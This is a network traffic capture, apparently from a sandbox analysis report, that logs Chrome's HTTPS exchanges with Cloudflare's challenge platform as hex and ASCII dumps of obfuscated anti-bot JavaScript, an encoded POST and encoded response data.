28 67 4d 2c 64 2c 65 2c 66 2c 67 29 Data Ascii: (1686))/6+parseInt(gK(418))/7(parseInt(gK(1435))/8)+-parseInt(gK(486))/9(parseInt(gK(380))/10)+parseInt(gK(764))/11,f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,806413),eM=this\|\|self,eN=eM[gL(1265)],eM[gL(1131)]=function(gM,d,e,f,g)
2024-10-25 08:19:21 UTC	1369	IN	Data Raw: 36 29 5d 28 67 5b 67 4f 28 31 34 36 35 29 5d 29 29 3b 65 6c 73 65 20 69 66 28 6b 5b 67 4f 28 33 35 31 29 5d 28 6b 5b 67 4f 28 31 37 35 37 29 5d 2c 67 4f 28 31 30 33 36 29 29 29 67 5b 67 4f 28 31 34 36 35 29 5d 3d 4a 53 4f 4e 5b 67 4f 28 35 36 33 29 5d 28 67 5b 67 4f 28 31 34 36 35 29 5d 29 3b 65 6c 73 65 20 69 66 28 44 3d 45 2e 68 5b 46 2e 67 5e 32 34 33 5d 2c 30 3c 47 5b 67 4f 28 31 30 39 39 29 5d 29 7b 66 6f 72 28 48 3d 6b 5b 67 4f 28 33 36 38 29 5d 5b 67 4f 28 37 35 32 29 5d 28 27 7c 27 29 2c 49 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 48 5b 49 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 56 2e 68 5b 32 33 31 5e 57 2e 67 5d 3d 58 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 61 35 2e 68 5b 6b 5b 67 4f 28 31 35 33 39 29 5d 28 38 32 2c 61 36 Data Ascii: 6)](g[gO(1465)]));else if(k[gO(351)](k[gO(1757)],gO(1036)))g[gO(1465)]=JSON[gO(563)](g[gO(1465)]);else if(D=E.h[F.g^243],0<G[gO(1099)]){for(H=k[gO(368)][gO(752)]('\|'),I=0;!![];){switch(H[I++]){case'0':V.h[231^W.g]=X;continue;case'1':a5.h[k[gO(1539)](82,a6
2024-10-25 08:19:21 UTC	1369	IN	Data Raw: 29 5d 2c 67 50 28 31 30 38 30 29 29 29 26 26 28 6a 3d 64 5b 67 50 28 34 34 37 29 5d 5b 67 50 28 37 35 32 29 5d 28 27 5c 6e 27 29 2c 6a 5b 67 50 28 31 30 39 39 29 5d 3e 31 29 26 26 28 6b 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 6c 3d 6a 5b 31 5d 5b 67 50 28 37 38 34 29 5d 28 6b 29 2c 6c 26 26 28 67 3d 6c 5b 31 5d 2c 68 3d 65 5b 67 50 28 31 38 30 39 29 5d 28 70 61 72 73 65 49 6e 74 2c 6c 5b 32 5d 2c 31 30 29 2c 69 3d 70 61 72 73 65 49 6e 74 28 6c 5b 33 5d 2c 31 30 29 29 29 3a 66 3d 4a 53 4f 4e 5b 67 50 28 35 36 33 29 5d 28 64 29 3b 72 65 74 75 72 6e 20 6d 3d 7b 7d 2c 6d 5b 67 50 28 31 35 32 37 29 5d 3d 66 2c 6d 5b 67 50 28 34 31 36 29 5d 3d 67 2c 6d 5b 67 50 28 31 33 35 30 29 5d 3d 68 2c 6d 5b 67 50 28 31 37 31 Data Ascii: )],gP(1080)))&&(j=d[gP(447)][gP(752)]('\n'),j[gP(1099)]>1)&&(k=/^\s*at\s+(.+):(\d+):(\d+)/,l=j[1][gP(784)](k),l&&(g=l[1],h=e[gP(1809)](parseInt,l[2],10),i=parseInt(l[3],10))):f=JSON[gP(563)](d);return m={},m[gP(1527)]=f,m[gP(416)]=g,m[gP(1350)]=h,m[gP(171
2024-10-25 08:19:21 UTC	1369	IN	Data Raw: 38 39 29 2c 68 3d 67 2c 64 5b 68 49 28 31 37 31 39 29 5d 21 3d 3d 68 49 28 33 37 36 29 3f 66 54 28 29 3a 65 3d 66 5b 68 49 28 31 34 30 33 29 5d 28 68 49 28 31 30 39 35 29 2c 68 5b 68 49 28 31 30 33 33 29 5d 29 7d 2c 31 65 33 29 7d 65 6c 73 65 20 65 26 26 65 5b 68 48 28 38 39 37 29 5d 3d 3d 3d 68 48 28 31 36 31 30 29 26 26 64 5b 68 48 28 31 31 38 35 29 5d 28 65 5b 68 48 28 36 32 36 29 5d 2c 64 5b 68 48 28 31 34 37 31 29 5d 29 26 26 64 5b 68 48 28 31 34 35 36 29 5d 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 2c 66 71 29 7d 29 2c 66 73 3d 21 5b 5d 2c 21 65 54 28 67 4c 28 31 32 34 32 29 29 26 26 28 66 54 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 6d 2c 63 2c 64 29 7b 69 6d 3d 67 4c 2c 63 3d 65 4d 5b 69 6d 28 37 30 38 29 5d 5b 69 Data Ascii: 89),h=g,d[hI(1719)]!==hI(376)?fT():e=f[hI(1403)](hI(1095),h[hI(1033)])},1e3)}else e&&e[hH(897)]===hH(1610)&&d[hH(1185)](e[hH(626)],d[hH(1471)])&&d[hH(1456)](clearInterval,fq)}),fs=![],!eT(gL(1242))&&(fT(),setInterval(function(im,c,d){im=gL,c=eM[im(708)][i
2024-10-25 08:19:21 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 47 28 48 29 7d 2c 27 72 52 6e 58 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 78 79 55 64 46 27 3a 69 55 28 31 35 32 33 29 2c 27 66 64 52 55 43 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 6a 4e 6d 63 51 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 7d 2c 68 3d 3d 3d 6e 75 6c 6c 7c 7c 68 3d 3d 3d 76 6f 69 64 20 30 29 72 65 74 75 72 6e 20 6a 3b 66 6f 72 28 78 3d 67 39 28 68 29 2c 67 5b 69 55 28 37 37 36 29 5d 5b 69 55 28 35 32 36 29 5d 26 26 28 78 3d 78 5b 69 55 28 31 32 32 32 29 5d 28 67 5b 69 55 28 37 37 36 29 5d 5b 69 55 28 35 32 36 29 5d 28 68 29 29 29 2c 78 3d 67 5b 69 55 28 31 38 32 39 29 Data Ascii: return G(H)},'rRnXZ':function(G,H){return G===H},'xyUdF':iU(1523),'fdRUC':function(G,H){return G+H},'jNmcQ':function(G,H,I){return G(H,I)}},h===null\|\|h===void 0)return j;for(x=g9(h),g[iU(776)][iU(526)]&&(x=x[iU(1222)](g[iU(776)][iU(526)](h))),x=g[iU(1829)
2024-10-25 08:19:21 UTC	1369	IN	Data Raw: 28 27 66 27 2c 6e 29 26 26 28 6e 3d 27 4e 27 29 2c 68 5b 6e 5d 29 7b 66 6f 72 28 6f 3d 30 3b 6f 3c 69 5b 6c 5b 6d 5d 5d 5b 69 58 28 31 30 39 39 29 5d 3b 6b 5b 69 58 28 31 32 33 31 29 5d 28 2d 31 2c 68 5b 6e 5d 5b 69 58 28 31 35 36 38 29 5d 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 26 26 28 67 62 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 69 58 28 39 32 31 29 5d 28 27 6f 2e 27 2b 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 69 58 28 36 34 33 29 5d 28 66 75 6e 63 74 69 6f 6e 28 73 2c 6a 30 2c 76 2c 45 2c 46 2c 47 2c 48 2c 49 29 7b 69 66 28 6a 30 3d 69 58 2c 76 3d 7b 27 55 6b 75 44 53 27 3a 66 75 6e 63 74 69 6f 6e 28 42 2c 43 2c 69 59 29 7b 72 65 74 75 72 6e 20 69 59 3d 62 2c 6b 5b Data Ascii: ('f',n)&&(n='N'),h[n]){for(o=0;o<i[l[m]][iX(1099)];k[iX(1231)](-1,h[n][iX(1568)](i[l[m]][o]))&&(gb(i[l[m]][o])\|\|h[n][iX(921)]('o.'+i[l[m]][o])),o++);}else h[n]=i[l[m]][iX(643)](function(s,j0,v,E,F,G,H,I){if(j0=iX,v={'UkuDS':function(B,C,iY){return iY=b,k[
2024-10-25 08:19:21 UTC	1369	IN	Data Raw: 27 73 61 6d 4a 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 75 42 67 61 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 56 76 47 69 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 53 6a 47 56 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 66 56 71 4f 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 48 68 5a 52 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 58 6c 4d 69 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 65 43 64 41 45 27 3a 66 75 6e 63 74 69 6f Data Ascii: 'samJz':function(h,i){return h>i},'uBgaO':function(h,i){return h-i},'VvGit':function(h,i){return h>i},'SjGVm':function(h,i){return i&h},'fVqOi':function(h,i){return i==h},'HhZRP':function(h,i){return h(i)},'XlMiX':function(h,i){return h<i},'eCdAE':functio
2024-10-25 08:19:21 UTC	1369	IN	Data Raw: 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 4f 29 7b 72 65 74 75 72 6e 20 6a 4f 3d 62 2c 6a 4f 28 31 38 33 34 29 5b 6a 4f 28 31 37 30 34 29 5d 28 69 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 6a 50 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 50 2c 4b 2c 4c 2c 4d 29 7b 69 66 28 6a 50 3d 6a 4e 2c 6e 75 6c 6c 3d 3d 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 78 3d 7b 7d 2c 42 3d 7b 7d 2c 43 3d 27 27 2c 44 3d 32 2c 45 3d 33 2c 46 3d 32 2c 47 3d 5b 5d 2c 48 3d 30 2c 49 3d 30 2c 4a 3d 30 3b 4a 3c 69 5b 6a 50 28 31 30 39 39 29 5d 3b 4a 2b 3d 31 29 69 66 28 4b 3d 69 5b 6a 50 28 31 37 30 34 29 5d 28 4a 29 2c 4f 62 6a 65 63 74 5b 6a 50 28 36 37 30 29 5d 5b 6a 50 28 31 36 30 39 29 5d 5b 6a 50 28 31 30 38 34 Data Ascii: h,6,function(i,jO){return jO=b,jO(1834)[jO(1704)](i)})},'g':function(i,j,o,jP,s,x,B,C,D,E,F,G,H,I,J,P,K,L,M){if(jP=jN,null==i)return'';for(x={},B={},C='',D=2,E=3,F=2,G=[],H=0,I=0,J=0;J<i[jP(1099)];J+=1)if(K=i[jP(1704)](J),Object[jP(670)][jP(1609)][jP(1084

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	50002	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:21 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1257061762:1729843921:fbetIUB4PuBaj-kpOjWFbuBAII6sbImkf8piHbMmomo/8d80c7f0395d4869/cTFwOuSISxbtYcMvZEUKJJnLRaY.ZD5rDwTw.SAnFCg-1729844359-1.1.1.1-fUYaKlgVy1ZLFNTQN5NUiuOBDXdkFBVNFgmhytd.JzVDQuIcSEwOfsMH_jM1N0Sx HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3196 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: cTFwOuSISxbtYcMvZEUKJJnLRaY.ZD5rDwTw.SAnFCg-1729844359-1.1.1.1-fUYaKlgVy1ZLFNTQN5NUiuOBDXdkFBVNFgmhytd.JzVDQuIcSEwOfsMH_jM1N0Sx sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:21 UTC	3196	OUT	Data Raw: 76 5f 38 64 38 30 63 37 66 30 33 39 35 64 34 38 36 39 3d 25 32 62 78 4a 62 30 62 61 62 6d 62 68 62 65 62 6e 67 45 42 67 41 45 37 62 44 34 75 56 38 6a 45 72 45 32 57 62 42 6c 62 45 39 4a 45 71 62 37 56 36 70 45 4f 62 36 34 56 62 41 6a 37 4a 45 6a 62 74 78 6a 36 55 45 2b 67 64 45 44 70 59 4c 62 74 2b 6c 65 52 38 62 45 5a 6b 59 4a 45 6e 45 75 6c 5a 59 45 48 62 64 45 66 45 74 34 52 41 48 56 39 39 38 74 58 64 6c 6a 56 74 71 45 38 6c 45 71 38 33 6e 48 6a 5a 4c 6c 68 78 48 4b 38 47 57 71 64 6c 59 50 37 45 45 33 62 41 4b 76 6e 6d 31 5a 45 41 50 45 38 56 39 70 76 33 30 56 64 62 45 77 43 71 6a 4c 44 68 50 6d 6f 34 34 45 6a 42 55 49 6e 6d 4b 75 45 36 72 35 41 6d 71 65 45 74 50 41 76 44 68 39 64 74 36 51 6a 44 6c 66 76 59 59 49 54 30 6c 45 6a 56 4e 45 76 78 45 7a 59 Data Ascii: v_8d80c7f0395d4869=%2bxJb0babmbhbebngEBgAE7bD4uV8jErE2WbBlbE9JEqb7V6pEOb64VbAj7JEjbtxj6UE+gdEDpYLbt+leR8bEZkYJEnEulZYEHbdEfEt4RAHV998tXdljVtqE8lEq83nHjZLlhxHK8GWqdlYP7EE3bAKvnm1ZEAPE8V9pv30VdbEwCqjLDhPmo44EjBUInmKuE6r5AmqeEtPAvDh9dt6QjDlfvYYIT0lEjVNEvxEzY
2024-10-25 08:19:22 UTC	747	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:21 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149688 Connection: close cf-chl-gen: dP+ARPr8oKJad4icVpqRukb+3MCpyhLuC3/lIXxIVAH3sHnI5Rca2cxINfaz9qLWxKWLzSE+S/TKCZ8b35REsBRVOeG+XRQqGFCvkw2Zt5gdP1Nr4IucsnKc9VPT3XSdNvGrf1OKk7cWWPiMzKxbAs/G8BlA347nCI/Mers2M5YUq7QIIoOpN9IXlh9VX5v4tj9ucHv69yq8NHk/Ojkkcz/RiGp75qTU7KLuTxjmDqLxyfpf21yyT7AqYfXQ8AUIXGeOO5mqXCgqiXTxuDa6v/orVSPKpqJpevPBWXfS90R2T2XiJJiVvaSDIWPYsyTMH4dzUnqR0Y7hWloCcyyGUcxRiAvGil4ubxyCUZAMVFjsKLwgC38xOC11ai47x6QSF//VfSeAO16857pgfV5a+mJqtgGOJ0KhW/aYs9t+f1oGHi7CvsWsIsSODeLGZdiRqBBrSGq4CnDw8Ft4MnqnIxExDauPVPxrc+1vRAOQ1wWRfj0=$+LNW87BeNe4sQS6i Server: cloudflare CF-RAY: 8d80c7fde848345e-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:22 UTC	622	IN	Data Raw: 6f 72 78 38 73 59 6d 4f 75 33 79 76 75 70 71 54 77 73 4c 49 70 5a 4b 54 68 35 79 61 70 37 36 5a 69 4b 71 6a 73 38 76 48 73 4b 71 76 70 64 72 48 79 4f 44 49 33 4e 4f 35 77 63 2b 2f 32 4e 50 48 76 37 6e 73 34 4e 33 72 37 38 6e 62 77 4e 2f 32 31 2b 2f 46 75 4c 72 58 37 2b 6a 66 79 2f 62 75 34 63 2f 7a 76 72 7a 43 42 64 37 34 41 76 6a 58 2f 63 76 71 35 50 37 6b 2f 4f 77 51 36 67 51 51 38 2b 62 63 46 50 66 71 31 39 30 4c 37 68 51 44 41 77 51 6f 35 69 49 6d 35 2b 6f 4e 36 4f 67 78 45 43 48 77 42 41 41 52 4f 42 58 79 45 43 34 4e 50 68 51 79 45 2f 6b 2f 41 45 63 37 4b 55 49 42 50 6b 51 4b 41 45 4d 4a 4d 44 4d 6b 45 31 42 52 46 6b 30 69 4b 69 6f 75 4e 30 6c 55 4d 52 4e 53 57 45 56 44 52 31 74 68 4d 32 42 46 4e 6d 4a 73 56 79 64 6c 62 54 39 55 54 6a 4e 6e 5a 58 68 Data Ascii: orx8sYmOu3yvupqTwsLIpZKTh5yap76ZiKqjs8vHsKqvpdrHyODI3NO5wc+/2NPHv7ns4N3r78nbwN/21+/FuLrX7+jfy/bu4c/zvrzCBd74AvjX/cvq5P7k/OwQ6gQQ8+bcFPfq190L7hQDAwQo5iIm5+oN6OgxECHwBAAROBXyEC4NPhQyE/k/AEc7KUIBPkQKAEMJMDMkE1BRFk0iKiouN0lUMRNSWEVDR1thM2BFNmJsVydlbT9UTjNnZXh
2024-10-25 08:19:22 UTC	1369	IN	Data Raw: 31 73 58 33 31 6f 59 55 74 6e 61 34 4e 4f 62 33 56 35 6b 6f 78 5a 6b 47 39 72 58 46 56 30 6c 4a 43 48 58 6e 4f 55 5a 4a 39 70 5a 70 39 72 65 72 43 54 67 58 47 31 69 36 36 76 6b 33 6c 30 71 71 78 39 6d 37 69 79 77 4c 43 61 6a 71 64 36 74 62 79 72 6a 48 2f 43 70 34 6a 4b 77 6f 32 2b 77 72 65 4f 6c 63 6d 54 7a 74 58 48 31 36 7a 49 76 74 6a 6b 34 4d 61 75 34 64 58 62 30 70 33 68 75 4d 4c 41 70 38 62 64 37 72 2f 72 30 2f 50 4a 2b 4f 62 37 38 39 54 33 74 2b 72 4d 31 75 76 31 2b 66 33 2b 30 65 4c 7a 2f 65 33 2b 79 63 59 4d 38 73 51 4d 45 4f 77 4f 46 4f 2f 6a 45 75 55 64 44 52 44 72 39 50 66 79 45 43 58 38 47 42 72 30 46 50 72 64 4b 43 45 64 2b 2b 30 79 42 43 41 6f 41 53 55 71 4f 68 49 4d 37 53 63 31 4c 67 77 34 2b 68 55 77 49 52 55 32 4f 6a 67 57 48 66 30 63 4a Data Ascii: 1sX31oYUtna4NOb3V5koxZkG9rXFV0lJCHXnOUZJ9pZp9rerCTgXG1i66vk3l0qqx9m7iywLCajqd6tbyrjH/Cp4jKwo2+wreOlcmTztXH16zIvtjk4Mau4dXb0p3huMLAp8bd7r/r0/PJ+Ob789T3t+rM1uv1+f3+0eLz/e3+ycYM8sQMEOwOFO/jEuUdDRDr9PfyECX8GBr0FPrdKCEd++0yBCAoASUqOhIM7Sc1Lgw4+hUwIRU2OjgWHf0cJ
2024-10-25 08:19:22 UTC	1369	IN	Data Raw: 4f 68 57 5a 34 64 6d 61 56 56 4a 43 4f 6b 47 39 2b 67 58 64 61 63 47 36 62 68 70 39 70 61 70 5a 38 72 59 32 67 70 5a 43 74 62 33 31 30 68 59 36 77 73 61 57 59 6a 33 43 4a 6c 4a 79 6a 73 62 57 54 67 58 2f 47 78 49 6a 4c 71 6f 79 4b 69 38 2b 2b 73 71 79 76 6f 70 48 4f 77 70 43 36 70 4c 69 37 6e 4d 44 59 73 73 76 69 32 5a 2b 68 75 4c 2f 64 30 39 72 6e 7a 61 75 72 34 63 54 54 7a 4c 79 74 35 73 76 6f 30 72 62 61 7a 76 66 47 33 2f 6a 52 36 2b 44 38 2b 66 54 68 31 64 6a 37 77 2b 6f 43 37 77 50 49 32 51 7a 6d 37 66 48 70 7a 65 62 6d 35 51 7a 57 7a 39 7a 32 33 51 4c 74 2f 68 54 30 46 52 30 48 4a 79 77 66 49 43 54 6e 2b 53 41 52 4a 78 51 41 43 66 41 73 4b 52 4d 70 4a 78 41 38 4e 43 67 4c 48 79 41 4f 44 6b 55 32 46 30 59 4b 4e 42 64 4f 49 6b 41 75 44 79 59 4a 49 77 Data Ascii: OhWZ4dmaVVJCOkG9+gXdacG6bhp9papZ8rY2gpZCtb310hY6wsaWYj3CJlJyjsbWTgX/GxIjLqoyKi8++sqyvopHOwpC6pLi7nMDYssvi2Z+huL/d09rnzaur4cTTzLyt5svo0rbazvfG3/jR6+D8+fTh1dj7w+oC7wPI2Qzm7fHpzebm5QzWz9z23QLt/hT0FR0HJywfICTn+SARJxQACfAsKRMpJxA8NCgLHyAODkU2F0YKNBdOIkAuDyYJIw
2024-10-25 08:19:22 UTC	1369	IN	Data Raw: 6a 5a 46 73 6c 56 68 71 6d 36 4f 4e 6d 32 4a 33 6f 33 5a 2f 6e 35 57 4c 70 4a 6c 38 69 49 53 71 62 71 2b 47 61 62 6c 32 68 70 53 58 6d 6e 6d 32 71 34 32 69 6a 4a 70 2b 68 4b 6a 41 71 72 50 4b 77 70 79 4a 6f 4b 58 51 73 35 2f 43 77 38 43 72 31 64 43 53 7a 61 62 49 6e 4e 4f 39 30 35 72 56 7a 74 2f 6e 78 62 37 64 36 4c 6a 66 31 63 44 77 36 39 79 2f 79 38 4c 69 38 73 66 33 7a 74 72 76 30 38 62 6f 74 74 54 67 42 41 4c 39 2f 64 67 46 35 64 6e 55 32 4f 58 4e 31 75 58 6b 41 77 2f 68 30 4e 4c 6b 7a 75 49 58 46 64 62 30 38 39 51 53 43 66 7a 64 32 78 4c 6a 2b 4e 38 67 43 68 73 61 35 76 76 2b 44 2f 76 73 49 41 49 44 43 69 59 49 43 41 54 7a 2b 6a 34 74 39 67 78 43 41 45 4d 41 47 53 38 44 49 69 51 43 42 30 4a 41 47 7a 39 51 4a 45 77 66 4a 45 41 6c 54 6a 49 6b 56 68 67 Data Ascii: jZFslVhqm6ONm2J3o3Z/n5WLpJl8iISqbq+Gabl2hpSXmnm2q42ijJp+hKjAqrPKwpyJoKXQs5/Cw8Cr1dCSzabInNO905rVzt/nxb7d6Ljf1cDw69y/y8Li8sf3ztrv08bottTgBAL9/dgF5dnU2OXN1uXkAw/h0NLkzuIXFdb089QSCfzd2xLj+N8gChsa5vv+D/vsIAIDCiYICATz+j4t9gxCAEMAGS8DIiQCB0JAGz9QJEwfJEAlTjIkVhg
2024-10-25 08:19:22 UTC	1369	IN	Data Raw: 56 35 79 6c 56 68 37 6e 48 64 69 6f 6f 4f 6a 70 4b 43 6e 67 4b 79 62 67 34 69 57 6a 6f 61 32 6f 33 64 7a 6a 4c 32 2f 74 4c 61 71 6f 61 43 63 78 37 44 4a 75 4b 61 6c 70 5a 79 39 74 36 43 74 73 37 75 70 7a 4d 43 2f 30 63 61 70 70 63 76 47 7a 39 65 76 76 71 47 72 75 4b 33 64 31 65 53 2b 70 4f 79 6c 6e 38 71 74 35 39 7a 6a 37 2b 48 48 30 64 50 67 31 62 57 33 31 76 44 78 33 64 7a 7a 2b 66 6a 67 30 41 4c 68 34 2f 6f 41 2b 65 33 65 2f 50 33 70 30 65 58 72 30 65 51 42 37 75 45 4a 35 64 72 53 39 76 4c 74 36 66 6f 68 2f 50 45 54 49 4f 62 61 4b 66 51 6d 2b 42 6a 6d 44 50 37 75 46 43 59 4d 41 43 38 6e 4d 6a 49 7a 50 43 6e 36 4c 7a 55 37 4f 67 4d 36 4a 44 42 46 4b 45 67 55 4a 6a 77 63 52 77 6c 4b 4c 51 6f 62 49 6b 46 4a 52 55 55 32 4b 45 73 34 44 7a 67 31 4b 31 77 55 Data Ascii: V5ylVh7nHdiooOjpKCngKybg4iWjoa2o3dzjL2/tLaqoaCcx7DJuKalpZy9t6Cts7upzMC/0cappcvGz9evvqGruK3d1eS+pOyln8qt59zj7+HH0dPg1bW31vDx3dzz+fjg0ALh4/oA+e3e/P3p0eXr0eQB7uEJ5drS9vLt6foh/PETIObaKfQm+BjmDP7uFCYMAC8nMjIzPCn6LzU7OgM6JDBFKEgUJjwcRwlKLQobIkFJRUU2KEs4Dzg1K1wU
2024-10-25 08:19:22 UTC	1369	IN	Data Raw: 36 42 6e 57 65 64 66 6d 57 63 6e 34 36 30 74 49 4e 77 69 34 53 30 6b 6e 75 53 73 36 75 30 6c 4c 4b 38 6f 59 79 58 65 4c 79 44 74 71 4f 58 71 4a 6e 4e 74 35 79 35 71 4c 48 47 74 61 54 52 78 36 7a 4a 71 62 32 70 73 62 33 4d 33 4f 43 32 7a 39 57 64 31 37 66 49 70 4c 6e 6c 75 71 79 76 37 38 50 6b 79 72 33 75 33 75 66 59 78 4f 6a 36 38 74 37 66 74 65 37 74 33 39 44 45 39 4e 67 42 32 2f 72 47 44 4f 33 69 2f 4f 73 4f 41 65 58 2b 36 65 63 47 35 51 6f 57 36 75 55 63 39 42 44 2b 49 52 6b 58 45 4f 48 75 41 75 41 69 42 43 45 4b 42 79 67 46 4b 42 41 4d 2f 67 37 30 48 69 62 30 46 42 4c 35 4c 41 34 64 48 42 49 2b 49 6b 4e 45 2f 43 59 65 47 67 59 55 43 44 31 44 47 78 39 50 44 69 49 79 56 42 4a 48 54 69 46 52 4b 78 59 6b 44 31 68 49 58 6b 78 69 47 52 34 58 56 56 46 6b 4e Data Ascii: 6BnWedfmWcn460tINwi4S0knuSs6u0lLK8oYyXeLyDtqOXqJnNt5y5qLHGtaTRx6zJqb2psb3M3OC2z9Wd17fIpLnluqyv78Pkyr3u3ufYxOj68t7fte7t39DE9NgB2/rGDO3i/OsOAeX+6ecG5QoW6uUc9BD+IRkXEOHuAuAiBCEKBygFKBAM/g70Hib0FBL5LA4dHBI+IkNE/CYeGgYUCD1DGx9PDiIyVBJHTiFRKxYkD1hIXkxiGR4XVVFkN
2024-10-25 08:19:22 UTC	1369	IN	Data Raw: 70 6b 57 6d 6f 6e 34 5a 2b 73 72 47 47 75 5a 4f 56 74 72 52 34 65 70 61 4b 72 49 54 42 76 4a 50 4a 6e 5a 4b 35 69 4c 7a 47 69 34 32 68 76 71 66 51 30 4c 61 4f 77 4a 54 4b 6b 71 36 76 76 5a 2f 68 77 72 44 54 32 39 44 58 75 62 2f 57 71 65 76 4a 78 63 72 58 36 64 7a 7a 76 65 50 67 79 37 54 6b 78 4c 6a 57 73 39 48 51 37 74 37 4b 33 73 32 32 2f 66 34 48 39 4e 6e 46 43 74 34 46 39 76 33 49 42 4d 34 4d 36 73 37 56 79 65 2f 31 30 74 51 4b 37 74 62 5a 36 2b 33 71 46 4e 73 65 46 65 55 46 39 66 51 43 33 67 49 6e 4c 43 55 7a 49 51 6a 71 44 51 67 75 4a 7a 54 33 4b 52 73 74 46 42 55 58 47 43 78 42 46 67 39 48 47 7a 55 56 4a 78 59 31 53 41 6b 38 55 6b 78 55 4e 55 70 46 46 45 46 4c 57 46 59 6d 54 43 30 36 46 79 73 35 57 46 70 6c 56 56 6f 77 4a 42 78 63 53 79 64 41 55 47 Data Ascii: pkWmon4Z+srGGuZOVtrR4epaKrITBvJPJnZK5iLzGi42hvqfQ0LaOwJTKkq6vvZ/hwrDT29DXub/WqevJxcrX6dzzvePgy7TkxLjWs9HQ7t7K3s22/f4H9NnFCt4F9v3IBM4M6s7Vye/10tQK7tbZ6+3qFNseFeUF9fQC3gInLCUzIQjqDQguJzT3KRstFBUXGCxBFg9HGzUVJxY1SAk8UkxUNUpFFEFLWFYmTC06Fys5WFplVVowJBxcSydAUG
2024-10-25 08:19:22 UTC	1369	IN	Data Raw: 74 58 47 59 73 34 65 58 73 48 6d 54 73 72 69 4c 65 62 71 42 6f 4a 53 37 6d 62 71 6a 75 59 6d 59 6e 4c 33 48 75 6f 72 53 79 64 47 2f 74 35 48 4e 77 38 53 56 31 64 69 31 6e 39 65 32 77 39 2b 2f 31 64 33 5a 77 37 66 72 74 71 54 76 76 64 6e 73 38 66 54 75 37 62 57 71 35 50 58 4f 2b 73 7a 50 30 63 2b 2b 30 4f 50 77 35 4d 51 4a 41 66 6a 71 2b 65 62 34 78 50 72 48 35 63 72 4f 34 2f 51 53 2b 42 6e 32 36 76 66 6b 32 2b 59 51 30 68 59 55 33 4f 54 37 2f 51 54 67 32 77 4c 69 36 68 6f 43 4a 75 34 75 37 42 77 73 38 51 4c 76 46 41 58 31 39 52 51 4b 48 42 77 67 48 2f 34 6a 4c 6a 6c 47 4a 43 6f 43 42 7a 30 73 4b 77 74 46 4d 45 59 2b 4d 44 56 4b 4c 45 45 36 4c 7a 51 55 56 6b 31 65 50 46 34 73 4b 7a 4d 76 50 56 78 57 4f 7a 73 38 53 6b 59 72 4f 47 4a 62 53 55 35 63 4d 6d 39 Data Ascii: 